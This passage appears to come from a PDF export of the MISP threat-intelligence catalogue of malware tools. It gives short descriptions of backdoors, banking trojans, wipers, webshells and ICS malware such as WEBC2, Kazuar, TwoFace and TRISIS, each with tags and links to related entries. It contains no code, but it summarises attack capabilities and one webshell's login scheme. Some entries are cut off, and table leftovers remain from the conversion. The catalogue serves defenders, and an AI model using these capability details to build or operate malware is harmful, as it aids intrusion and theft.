The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-QBP variant will search for two strings in a HTML comment. The first will be "2010QBP " followed by " 2010QBP//--". Inside these tags will be a DES-encrypted string.

The tag is: \textit{misp-galaxy:tool="WEBC2-QBP"}

WEBC2-RAVE

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware will set itself up as a service and connect out to a hardcoded web page and read a modified base64 string from this webpage. The later versions of this malware supports three commands (earlier ones are just downloaders or reverse shells). The first commands will sleep the malware for N number of hours. The second command will download a binary from the encoded HTML comment and execute it on the infected host. The third will spawn an encoded reverse shell to an attacker specified location and port.

The tag is: misp-galaxy:tool="WEBC2-RAVE"

</tr>
</tbody>
</table>

WEBC2-TABLE

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.

The tag is: misp-galaxy:tool="WEBC2-TABLE"

</tr>
</tbody>
</table>

WEBC2-TOCK

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TOCK variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.

The tag is: misp-galaxy:tool="WEBC2-TOCK"
**WEBC2-UGX**

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware provide remote command shell and remote file download and execution capabilities. The malware downloads a web page containing a crafted HTML comment that subsequently contains an encoded command. The contents of this command tell the malware whether to download and execute a program, launch a reverse shell to a specific host and port number, or to sleep for a period of time.

The tag is: `misp-galaxy:tool="WEBC2-UGX"`

**WEBC2-Y21K**

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of backdoor malware talk to specific Web-based Command & Control (C2) servers. The backdoor has a limited command set, depending on version. It is primarily a downloader, but it classified as a backdoor because it can accept a limited command set, including changing local directories, downloading and executing additional files, sleeping, and connecting to a specific IP & port not initially included in the instruction set for the malware. Each version of the malware has at least one hardcoded URL to which it connects to receive its initial commands. This family of malware installs itself as a service, with the malware either being the executable run by the service, or the service DLL loaded by a legitimate service. The same core code is seen recompiled on different dates or with different names, but the same functionality. Key signatures include a specific set of functions (some of which can be used with the OS-provided rundll32.exe tool to install the malware as a service), and hardcoded strings used in communication with C2 servers to issue commands to the implant.

The tag is: `misp-galaxy:tool="WEBC2-Y21K"`
WEBC2-YAHOO

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-YAHOO variant enters a loop where every ten minutes it attempts to download a web page that may contain an encoded URL. The encoded URL will be found in the pages returned inside an attribute named 'sb' or 'ex' within a tag named 'yahoo'. The embedded link can direct the malware to download and execute files.

The tag is: misp-galaxy:tool="WEBC2-YAHOO"

feodo

Unfortunately, it is time to meet 'Feodo'. Since august of this year when FireEye's MPS devices detected this malware in the field, we have been monitoring this banking trojan very closely. In many ways, this malware looks similar to other famous banking trojans like Zbot and SpyEye. Although my analysis says that this malware is not a toolkit and is in the hands of a single criminal group.

The tag is: misp-galaxy:tool="feodo"

Table 5298. Table References

Links

Cardinal RAT

Palo Alto Networks has discovered a previously unknown remote access Trojan (RAT) that has been active for over two years. It has a very low volume in this two-year period, totaling roughly 27 total samples. The malware is delivered via an innovative and unique technique: a downloader we are calling Carp uses malicious macros in Microsoft Excel documents to compile embedded C# (C Sharp) Programming Language source code into an executable that in turn is run to deploy the Cardinal RAT malware family. These malicious Excel files use a number of different lures, providing evidence of what attackers are using to entice victims into executing them.

The tag is: misp-galaxy:tool="Cardinal RAT"

Cardinal RAT has relationships with:

- similar: misp-galaxy:tool="EVILNUM" with estimative-language:likelihood-probability="likely"

Table 5299. Table References

REDLEAVES

The REDLEAVES implant consists of three parts: an executable, a loader, and the implant shellcode. The REDLEAVES implant is a remote administration Trojan (RAT) that is built in Visual C++ and makes heavy use of thread generation during its execution. The implant contains a number of functions typical of RATs, including system enumeration and creating a remote shell back to the C2.
Kazuar

Kazuar is a fully featured backdoor written using the .NET Framework and obfuscated using the open source packer called ConfuserEx. Unit 42 researchers have uncovered a backdoor Trojan used in an espionage campaign. The developers refer to this tool by the name Kazuar, which is a Trojan written using the Microsoft .NET Framework that offers actors complete access to compromised systems targeted by its operator. Kazuar includes a highly functional command set, which includes the ability to remotely load additional plugins to increase the Trojan's capabilities. During our analysis of this malware we uncovered interesting code paths and other artifacts that may indicate a Mac or Unix variant of this same tool also exists. Also, we discovered a unique feature within Kazuar: it exposes its capabilities through an Application Programming Interface (API) to a built-in webserver. We suspect the Kazuar tool may be linked to the Turla threat actor group (also known as Uroboros and Snake), who have been reported to have compromised embassies, defense contractors, educational institutions, and research organizations across the globe. A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005. If the hypothesis is correct and the Turla threat group is using Kazuar, we believe they may be using it as a replacement for Carbon and its derivatives. Of the myriad of tools observed in use by Turla Carbon and its variants were typically deployed as a second stage backdoor within targeted environments and we believe Kazuar may now hold a similar role for Turla operations.

Trick Bot

Many links indicate, that this bot is another product of the people previously involved in Dyreza. It seems to be rewritten from scratch – however, it contains many similar features and solutions to those we encountered analyzing Dyreza (read more).
TrickBot

TrickBot has relationships with:

- similar: misp-galaxy:malpedia="TrickBot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Trickbot" with estimative-language:likelihood-probability="likely"

Loki Bot

Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.

The tag is: misp-galaxy:tool="Loki Bot"

KONNI

Talos has discovered an unknown Remote Administration Tool that we believe has been in use for
over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots, and execute arbitrary code on the infected host. Talos has named this malware KONNI. Throughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim’s machine. The malware infrastructure of the analysed samples was hosted by a free web hosting provider: 000webhost. The malware has evolved over time. In this article, we will analyse this evolution:

The tag is: `misp-galaxy:tool="KONNI"`

KONNI has relationships with:

- similar: `misp-galaxy:rat="Konni"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Konni"` with `estimative-language:likelihood-probability="likely"

**NOKKI**

Beginning in early 2018, Unit 42 observed a series of attacks using a previously unreported malware family, which we have named ‘NOKKI’. The malware in question has ties to a previously reported malware family named KONNI, however, after careful consideration, we believe enough differences are present to introduce a different malware family name. To reflect the close relationship with KONNI, we chose NOKKI, swapping KONNI’s Ns and Ks. Because of code overlap found within both malware families, as well as infrastructure overlap, we believe the threat actors responsible for KONNI are very likely also responsible for NOKKI. Previous reports stated it was likely KONNI had been in use for over three years in multiple campaigns with a heavy interest in the Korean peninsula and surrounding areas. As of this writing, it is not certain if the KONNI or NOKKI operators are related to known adversary groups operating in the regions of interest, although there is evidence of a tenuous relationship with a group known as Reaper.

The tag is: `misp-galaxy:tool="NOKKI"`

Svpeng

In mid-July 2017, we found a new modification of the well-known mobile banking malware family Svpeng – Trojan-Banker.AndroidOS.Svpeng.ae. In this modification, the cybercriminals have added new functionality: it now also works as a keylogger, stealing entered text through the use of accessibility services.

The tag is: misp-galaxy:tool="Svpeng"

Svpeng is also known as:

- trojan-banker.androidos.svpeng.ae

Svpeng has relationships with:

- similar: misp-galaxy:android="Svpeng" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Svpeng" with estimative-language:likelihood-probability="likely"
TwoFace

While investigating a recent security incident, Unit 42 found a webshell that we believe was used by the threat actor to remotely access the network of a targeted Middle Eastern organization. The construction of the webshell was interesting by itself, as it was actually two separate webshells: an initial webshell that was responsible for saving and loading the second fully functional webshell. It is this second webshell that enabled the threat actor to run a variety of commands on the compromised server. Due to these two layers, we use the name TwoFace to track this webshell. During our analysis, we extracted the commands executed by the TwoFace webshell from the server logs on the compromised server. Our analysis shows that the commands issued by the threat actor date back to June 2016; this suggests that the actor had access to this shell for almost an entire year. The commands issued show the actor was interested in gathering credentials from the compromised server using the Mimikatz tool. We also saw the attacker using the TwoFace webshell to move laterally through the network by copying itself and other webshells to other servers.

The tag is: `misp-galaxy:tool="TwoFace"`

IntrudingDivisor

Like TwoFace, the IntrudingDivisor webshell requires the threat actor to authenticate before issuing commands. To authenticate, the actor must provide two pieces of information, first an integer that is divisible by 5473 and a string whose MD5 hash is “9A26A0E7B88940DAA84FC4D5E6C61AD0”. Upon successful authentication, the webshell has a command handler that uses integers within the request to determine the command to execute - To complete

The tag is: `misp-galaxy:tool="IntrudingDivisor"`

JS_POWMET

Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET (Detected by Trend Micro as JS_POWMET.DE), which arrives via an autostart registry procedure. By utilizing a completely fileless infection chain, the
malware will be more difficult to analyze using a sandbox, making it more difficult for anti-
malware engineers to examine.

The tag is: *misp-galaxy:tool="JS_POWMET"

**Table 5317. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**EngineBox Malware**

The main malware capabilities include a privilege escalation attempt using MS16–032 exploitation; a HTTP Proxy to intercept banking transactions; a backdoor to make it possible for the attacker to issue arbitrary remote commands and a C&C through a IRC channel. As it’s being identified as a Generic Trojan by most of VirusTotal (VT) engines, let’s name it EngineBox— the core malware class I saw after reverse engineering it.

The tag is: *misp-galaxy:tool="EngineBox Malware"

**Table 5318. Table References**

**Fireball**

Upon execution, Fireball installs a browser hijacker as well as any number of adware programs.
Several different sources have linked different indicators of compromise (IOCs) and varied payloads, but a few details remain the same.

The tag is: `misp-galaxy:tool="Fireball"`

Fireball has relationships with:

- similar: `misp-galaxy:malpedia="Fireball"` with `estimative-language:likelihood-probability="likely"`

**ShadowPad**

ShadowPad is a modular cyber-attack platform that attackers deploy in victim networks to gain flexible remote control capabilities. The platform is designed to run in two stages. The first stage is a shellcode that was embedded in a legitimate nssock2.dll used by Xshell, Xmanager and other software packages produced by NetSarang. This stage is responsible for connecting to “validation” command and control (C&C) servers and getting configuration information including the location of the real C&C server, which may be unique per victim. The second stage acts as an orchestrator for five main modules responsible for C&C communication, working with the DNS protocol, loading and injecting additional plugins into the memory of other processes.

The tag is: `misp-galaxy:tool="ShadowPad"`

ShadowPad has relationships with:

- similar: `misp-galaxy:malpedia="ShadowPad"` with `estimative-language:likelihood-probability="likely"`

**IoT_reaper**

IoT_reaper is fairly large now and is actively expanding. For example, there are multiple C2s we are tracking, the most recently data (October 19) from just one C2 shows the number of unique active bot IP address is more than 10k per day. While at the same time, there are millions of potential vulnerable device IPs being queued into the c2 system waiting to be processed by an automatic loader that injects malicious code to the devices to expand the size of the botnet.

The tag is: `misp-galaxy:tool="IoT_reaper"`

Table 5321. Table References

**Links**

FormBook

FormBook is a data stealer and form grabber that has been advertised in various hacking forums since early 2016.

The tag is: `misp-galaxy:tool="FormBook"`

Table 5323. Table References

<table>
<thead>
<tr>

ALMA Communicator

The ALMA Communicator Trojan is a backdoor Trojan that uses DNS tunneling exclusively to receive commands from the adversary and to exfiltrate data. This Trojan specifically reads in a configuration from the cfg file that was initially created by the Clayslide delivery document. ALMA does not have an internal configuration, so the Trojan does not function without the cfg file created by the delivery document.
Silence

In September 2017, we discovered a new targeted attack on financial institutions. Victims are mostly Russian banks but we also found infected organizations in Malaysia and Armenia. The attackers were using a known but still very effective technique for cybercriminals looking to make money: gaining persistent access to an internal banking network for a long period of time, making video recordings of the day to day activity on bank employees’ PCs, learning how things works in their target banks, what software is being used, and then using that knowledge to steal as much money as possible when ready. We saw that technique before in Carbanak, and other similar cases worldwide. The infection vector is a spear-phishing email with a malicious attachment. An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims.

The tag is: misp-galaxy:tool="Silence"

Silence has relationships with:

- similar: misp-galaxy:malpedia="Silence" with estimative-language:likelihood-probability="likely"

Volgmer

Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. Since at least 2013, HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government, financial, automotive, and media industries. It is suspected that spear phishing is the primary delivery mechanism for Volgmer infections; however, HIDDEN COBRA actors use a suite of custom tools, some of which could also be used to initially compromise a system. Therefore, it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer.

The tag is: misp-galaxy:tool="Volgmer"

Volgmer has relationships with:

- similar: misp-galaxy:mitre-malware="Volgmer - S0180" with estimative-language:likelihood-
Nymaim

Nymaim is a 2-year-old strain of malware most closely associated with ransomware. We have seen recent attacks spreading it using an established email marketing service provider to avoid blacklists and detection tools. But instead of ransomware, the malware is now being used to distribute banking Trojans.

The tag is: *misp-galaxy:tool=*Nymaim*

Nymaim has relationships with:

- similar: *misp-galaxy:malpedia=*Nymaim* with *estimative-language:likelihood-probability=*likely*

GootKit

As was the case earlier, the bot Gootkit is written in NodeJS, and is downloaded to a victim computer via a chain of downloaders. The main purpose of the bot also remained the same – to steal banking data. The new Gootkit version, detected in September, primarily targets clients of European banks, including those in Germany, France, Italy, the Netherlands, Poland, etc.

The tag is: *misp-galaxy:tool=*GootKit*

GootKit is also known as:

- Gootkit

GootKit has relationships with:

- similar: *misp-galaxy:malpedia=*GootKit* with *estimative-language:likelihood-probability=*likely*
Agent Tesla

Agent Tesla is modern powerful keystroke logger. It provides monitoring your personnel computer via keyboard and screenshot. Keyboard, screenshot and registered passwords are sent in log. You can receive your logs via e-mail, ftp or php(web panel).

The tag is: `misp-galaxy:tool="Agent Tesla"

Agent Tesla has relationships with:

- similar: `misp-galaxy:malpedia="Agent Tesla"` with `estimative-language:likelihood-probability="likely"

Ordinypt

A new ransomware strain called Ordinypt is currently targeting victims in Germany, but instead of encrypting users' documents, the ransomware rewrites files with random data. Ordinypt is actually a wiper and not ransomware because it does not bother encrypting anything, but just replaces files with random data.

The tag is: `misp-galaxy:tool="Ordinypt"

Ordinypt is also known as:

- HSDFSDCrypt

Ordinypt has relationships with:

- similar: `misp-galaxy:malpedia="Ordinypt"` with `estimative-language:likelihood-probability="likely"`
StrongPity2

Detected by ESET as Win32/StrongPity2, this spyware notably resembles one that was attributed to the group called StrongPity.

The tag is: misp-galaxy:tool="StrongPity2"

StrongPity2 is also known as:
- Win32/StrongPity2

wp-vcd

WordPress site owners should be on the lookout for a malware strain tracked as wp-vcd that hides in legitimate WordPress files and that is used to add a secret admin user and grant attackers control over infected sites. The malware was first spotted online over the summer by Italian security researcher Manuel D’Orso. The initial version of this threat was loaded via an include call for the wp-vcd.php file —hence the malware’s name— and injected malicious code into WordPress core files such as functions.php and class.wp.php. This was not a massive campaign, but attacks continued throughout the recent months.

The tag is: misp-galaxy:tool="wp-vcd"

TRISIS

(Dragos Inc.) The team identifies this malware as TRISIS because it targets Schneider Electric’s Triconex safety instrumented system (SIS) enabling the replacement of logic in final control elements. TRISIS is highly targeted and likely does not pose an immediate threat to other Schneider Electric customers, let alone other SIS products. (FireEye Inc.) This malware, which we call TRITON,
is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state preparing for an attack. TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS). It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016.

The tag is: *misp-galaxy:tool="TRISIS"*

TRISIS is also known as:

- TRITON

**GratefulPOS**

GratefulPOS has the following functions 1. Access arbitrary processes on the target POS system 2. Scrape track 1 and 2 payment card data from the process(es) 3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.

The tag is: *misp-galaxy:tool="GratefulPOS"*

GratefulPOS has relationships with:
### PRILEX

Prilex malware steals the information of the infected ATM’s users. In this case, it was a Brazilian bank, but consider the implications of such an attack in your region, whether you’re a customer or the bank.

The tag is: `misp-galaxy:tool="PRILEX"`

### CUTLET MAKER

Cutlet Maker is an ATM malware designed to empty the machine of all its banknotes. Interestingly, while its authors have been advertising its sale, their competitors have already cracked the program, allowing anybody to use it for free.

The tag is: `misp-galaxy:tool="CUTLET MAKER"`

### Satori

According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants. Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot. The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869. Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.

The tag is: `misp-galaxy:tool="Satori"`

Satori is also known as:
Okiru Satori has relationships with:

- similar: misp-galaxy:botnet="Satori" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Satori" with estimative-language:likelihood-probability="likely"

**PowerSpritz**

PowerSpritz is a Windows executable that hides both its legitimate payload and malicious PowerShell command using a non-standard implementation of the already rarely used Spritz encryption algorithm (see the Attribution section for additional analysis of the Spritz implementation). This malicious downloader has been observed being delivered via spearphishing attacks using the TinyCC link shortener service to redirect to likely attacker-controlled servers hosting the malicious PowerSpritz payload.

The tag is: *misp-galaxy:tool="PowerSpritz"*

**PowerRatankba**

PowerRatankba is used for the same purpose as Ratankba: as a first stage reconnaissance tool and for the deployment of further stage implants on targets that are deemed interesting by the actor. Similar to its predecessor, PowerRatankba utilizes HTTP for its C&C communication.

The tag is: *misp-galaxy:tool="PowerRatankba"*

PowerRatankba has relationships with:

- similar: misp-galaxy:malpedia="PowerRatankba" with estimative-language:likelihood-probability="likely"
Ratankba

In one instance we observed, one of the initial malware delivered to the victim, RATANKBA, connects to a legitimate but compromised website from which a hack tool (nbt_scan.exe) is also downloaded. The domain also serves as one of the campaign’s platform for C&C communication. The threat actor uses RATANKBA to survey the lay of the land as it looks into various aspects of the host machine where it has been initially downloaded—the machine that has been victim of the watering hole attack. Information such as the running tasks, domain, shares, user information, if the host has default internet connectivity, and so forth.

The tag is: misp-galaxy:tool="Ratankba"

**Travle**

The Travle sample found during our investigation was a DLL with a single exported function (MSOProtect). The malware name Travle was chosen given a string found in early samples of this family: “Travle Path Failed!”. This typo was replaced with correct word “Travel” in newer releases. We believe that Travle could be a successor to the NetTraveler family.

The tag is: `misp-galaxy:tool="Travle"`

Travle is also known as:

- PYLOT

</tr>
</tbody>
</table>
**Digmine**

Digmine is coded in AutoIt, and sent to would-be victims posing as a video file but is actually an AutoIt executable script. If the user's Facebook account is set to log in automatically, Digmine will manipulate Facebook Messenger in order to send a link to the file to the account's friends. The abuse of Facebook is limited to propagation for now, but it wouldn't be implausible for attackers to hijack the Facebook account itself down the line. This functionality's code is pushed from the command-and-control (C&C) server, which means it can be updated.

The tag is: `misp-galaxy:tool="Digmine"`

**Table 5357. Table References**

<table>
<thead>
<tr>

**Rotinom**

W32.Rotinom is a worm that spreads by copying itself to removable drives.

The tag is: misp-galaxy:tool="Rotinom"

---

**Aurora**

You probably have heard the recent news about a widespread attack that was carried out using a 0-Day exploit for Internet Explorer as one of the vectors. This exploit is also known as the "Aurora Exploit". The code has recently gone public and it was also added to the Metasploit framework. This exploit was used to deliver a malicious payload, known by the name of Trojan.Hydraq, the main purpose of which was to steal information from the compromised computer and report it back to the attackers. The exploit code makes use of known techniques to exploit a vulnerability that exists in the way Internet Explorer handles a deleted object. The final purpose of the exploit itself is to access an object that was previously deleted, causing the code to reference a memory location over which the attacker has control and in which the attacker dropped his malicious code.

The tag is: misp-galaxy:tool="Aurora"

Aurora is also known as:

- Hydraq

Aurora has relationships with:

- similar: misp-galaxy:mitre-malware="Hydraq - S0203" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="9002 RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Aurora" with estimative-language:likelihood-probability="likely"

---

**Cheshire Cat**

Oldest Cheshire Cat malware compiled in 2002. It's a very old family of malware. The time stamps
may be forged but the malware does have support for very old operating systems. The 2002 implant retrieves a handle for an asr2892 drives that they never got their hands on. It checks for a NE header which is a header type used before PE headers even existed. References to 16bit or DOS on a non 9x platform. This malware implant IS REALLY for old systems. The malware is for espionage - it's very carefully made to stay hidden. Newer versions install as icon handler shell extension for .lnk files. Shell in this case means the program manager because windows explorer was not yet a thing. It sets up COM server objects. It looks like it was written in pure C, but made to look like C++. A sensitive implant as well: it checks for all kinds of old MS platforms including Windows NT, win95, win98, winME and more. It checks the patch level as well. A lot of effort was put into adapting this malware to a lot of different operating systems with very granular decision chains.

The tag is: misp-galaxy:tool="Cheshire Cat"

- Trj/CLA
- Mal/Behav-112
- Trojan.Spuler
- TROJ_KAZY.SM1
- Win32/FakePPT_i

### Table 5363. Table References
**miniFlame**

Newly discovered spying malware designed to steal data from infected systems was likely built from the same cyber-weaponry factory that produced two other notorious cyberespionage software Flame and Gauss, a security vendor says. Kaspersky Lab released a technical paper Monday outlining the discovery of the malware the vendor has dubbed "miniFlame." While capable of working with Flame and Gauss, miniFlame is a "small, fully functional espionage module designed for data theft and direct access to infected systems," Kaspersky said.

The tag is: *misp-galaxy:tool="miniFlame"*

**GHOTEX**

PE_GHOTEX.A-O is a portable executable (PE is the standard executable format for 32-bit Windows files) virus. PE viruses infect executable Windows files by incorporating their code into these files such that they are executed when the infected files are opened.

The tag is: *misp-galaxy:tool="GHOTEX"*

**Shipup**

Trojan:Win32/Shipup.G is a trojan that modifies the Autorun feature for certain devices.

The tag is: *misp-galaxy:tool="Shipup"*
Neuron

Neuron consists of both client and server components. The Neuron client and Neuron service are written using the .NET framework with some codebase overlaps. The Neuron client is used to infect victim endpoints and extract sensitive information from local client machines. The Neuron server is used to infect network infrastructure such as mail and web servers, and acts as local Command & Control (C2) for the client component. Establishing a local C2 limits interaction with the target network and remote hosts. It also reduces the log footprint of actor infrastructure and enables client interaction to appear more convincing as the traffic is contained within the target network.

The tag is: `misp-galaxy:tool="Neuron"`

Neuron has relationships with:

- similar: `misp-galaxy:malpedia="Neuron"` with `estimative-language:likelihood-probability="likely"

Nautilus

Nautilus is very similar to Neuron both in the targeting of mail servers and how client communications are performed. This malware is referred to as Nautilus due to its embedded internal DLL name “nautilus-service.dll”, again sharing some resemblance to Neuron. The Nautilus service listens for HTTP requests from clients to process tasking requests such as executing commands, deleting files and writing files to disk.

The tag is: `misp-galaxy:tool="Nautilus"`

Nautilus has relationships with:

- similar: `misp-galaxy:malpedia="Nautilus"` with `estimative-language:likelihood-probability="likely"`
Gamut Botnet

Gamut was found to be downloaded by a Trojan Downloader that arrives as an attachment from a spam email message. The bot installation is quite simple. After the malware binary has been downloaded, it launches itself from its current directory, usually the Windows %Temp% folder and installs itself as a Windows service. The malware utilizes an anti-VM (virtual machine) trick and terminates itself if it detects that it is running in a virtual machine environment. The bot uses INT 03h trap sporadically in its code, an anti-debugging technique which prevents its code from running within a debugger environment. It can also determine if it is being debugged by using the Kernel32 API - IsDebuggerPresent function.

The tag is: `misp-galaxy:tool="Gamut Botnet"`

</tbody>
</table>

KARAE

Karae backdoors are typically used as first-stage malware after an initial compromise. The backdoors can collect system information, upload and download files, and may be used to retrieve a second-stage payload. The malware uses public cloud-based storage providers for command and control. In March 2016, KARAE malware was distributed through torrent file-sharing websites for South Korean users. During this campaign, the malware used a YouTube video downloder application as a lure.

The tag is: `misp-galaxy:tool="KARAE"`

KARAE is also known as:

- FE_APT_Backdoor_Karae_enc
- FE_APT_Backdoor_Karae
- Backdoor.APT.Karae

KARAE has relationships with:

- similar: `misp-galaxy:mitre-malware="KARAE - S0215"` with estimative-language:likelihood-probability="likely"

Table 5374. Table References
MILKDROP

MILKDROP is a launcher that sets a persistence registry key and launches a backdoor.

The tag is: misp-galaxy:tool="MILKDROP"

MILKDROP is also known as:

- FE_Trojan_Win32_MILKDROP_1

Table 5375. Table References

POORAIM

POORAIM malware is designed with basic backdoor functionality and leverages AOL Instant Messenger for command and control communications. POORAIM includes the following capabilities: System information enumeration, File browsing, manipulation and exfiltration, Process enumeration, Screen capture, File execution, Exfiltration of browser favorites, and battery status. Exfiltrated data is sent via files over AIM. POORAIM has been involved in campaigns against South Korean media organizations and sites relating to North Korean refugees and defectors since early 2014. Compromised sites have acted as watering holes to deliver newer variants of POORAIM.

The tag is: misp-galaxy:tool="POORAIM"

POORAIM is also known as:

- Backdoor.APT.POORAIM

POORAIM has relationships with:

- similar: misp-galaxy:mitre-malware="POORAIM - S0216" with estimative-language:likelihood-probability="likely"

</tr>
</tbody>
</table>

**SHUTTERSPEED**

SHUTTERSPEED is a backdoor that can collect system information, acquire screenshots, and download/execute an arbitrary executable. SHUTTERSPEED typically requires an argument at runtime in order to execute fully. Observed arguments used by SHUTTERSPEED include: 'help', 'console', and 'sample'. The spear phishing email messages contained documents exploiting RTF vulnerability CVE-2017-0199. Many of the compromised domains in the command and control infrastructure are linked to South Korean companies. Most of these domains host a fake webpage pertinent to targets.

The tag is: *misp-galaxy:tool*="SHUTTERSPEED"

SHUTTERSPEED is also known as:

• FE_APT_Backdoor_SHUTTERSPEED
• APT.Backdoor.SHUTTERSPEED

SHUTTERSPEED has relationships with:

• similar: *misp-galaxy:mitre-malware*="SHUTTERSPEED - S0217" with estimative-language:likelihood-probability="likely"
SLOWDRIFT

SLOWDRIFT is a launcher that communicates via cloud based infrastructure. It sends system information to the attacker command and control and then downloads and executes additional payloads. Lure documents distributing SLOWDRIFT were not tailored for specific victims, suggesting that TEMP.Reaper is attempting to widen its target base across multiple industries and in the private sector. SLOWDRIFT was seen being deployed against academic and strategic targets in South Korea using lure emails with documents leveraging the HWP exploit. Recent SLOWDRIFT samples were uncovered in June 2017 with lure documents pertaining to cyber crime prevention and news stories. These documents were last updated by the same actor who developed KARAE, POORAIAIM and ZUMKONG.

The tag is: `misp-galaxy:tool="SLOWDRIFT"`

SLOWDRIFT is also known as:

- FE_APT_Downloader_Win_SLOWDRIFT_1
- FE_APT_Downloader_Win_SLOWDRIFT_2
- APT.Downloader.SLOWDRIFT

SLOWDRIFT has relationships with:

- similar: `misp-galaxy:mitre-malware="SLOWDRIFT - S0218"` with `estimative-language:likelihood-probability="likely"`

SOUNDWAVE

SOUNDWAVE is a windows based audio capturing utility. Via command line it accepts the `-l` switch (for listen probably), captures microphone input for 100 minutes, writing the data out to a log file in this format: `C:\Temp\HncDownload\YYYYMDDHHMMSS.log`.

The tag is: `misp-galaxy:tool="SOUNDWAVE"`

SOUNDWAVE is also known as:

- FE_APT_HackTool_Win32_SOUNDWAVE_1

KillDisk Wiper

KillDisk, along with the multipurpose, cyberespionage-related BlackEnergy, was used in cyberattacks in late December 2015 against Ukraine’s energy sector as well as its banking, rail, and mining industries. The malware has since metamorphosed into a threat used for digital extortion, affecting Windows and Linux platforms. The note accompanying the ransomware versions, like in
the case of Petya, was a ruse: Because KillDisk also overwrites and deletes files (and don’t store
the encryption keys on disk or online), recovering the scrambled files was out of the question. The new
variant we found, however, does not include a ransom note.

The tag is: *misp-galaxy:tool="KillDisk Wiper"

KillDisk Wiper is also known as:

• KillDisk

KillDisk Wiper has relationships with:

• similar: *misp-galaxy:malpedia="KillDisk" with *estimative-language:likelihood=
probability="likely"

Table 5387. Table References

**GoScanSSH**

During a recent Incident Response (IR) engagement, Talos identified a new malware family that
was being used to compromise SSH servers exposed to the internet. This malware, which we have
named GoScanSSH, was written using the Go programming language, and exhibited several
interesting characteristics. This is not the first malware family that Talos has observed that was
written using Go. However, it is relatively uncommon to see malware written in this programming
language. In this particular case, we also observed that the attacker created unique malware
binaries for each host that was infected with the GoScanSSH malware. Additionally, the GoScanSSH
command and control (C2) infrastructure was observed leveraging the Tor2Web proxy service in an
attempt to make tracking the attacker-controlled infrastructure more difficult and resilient to
takedowns.

**VPNFilter**
Advanced, likely state-sponsored or state-affiliated modular malware. The code of this malware overlaps with versions of the BlackEnergy malware. Targeted devices are Linksys, MikroTik, NETGEAR and TP-Link networking equipment in the small and home office (SOHO) space, as well as QNAP network-attached storage (NAS) systems.

The tag is: `misp-galaxy:tool="VPNFilter"`
Iron Backdoor

Iron Backdoor uses a virtual machine detection code taken directly from HackingTeam’s Soldier implant leaked source code. Iron Backdoor is also using the DynamicCall module from HackingTeam core library. Backdoor was used to drop cryptocurrency miners.

The tag is: misp-galaxy:tool="Iron Backdoor"

Brambul

Brambul malware is a malicious Windows 32-bit SMB worm that functions as a service dynamic link library file or a portable executable file often dropped and installed onto victims’ networks by dropper malware. When executed, the malware attempts to establish contact with victim systems and IP addresses on victims' local subnets. If successful, the application attempts to gain unauthorized access via the SMB protocol (ports 139 and 445) by launching brute-force password attacks using a list of embedded passwords. Additionally, the malware generates random IP addresses for further attacks.

The tag is: misp-galaxy:tool="Brambul"

Brambul has relationships with:

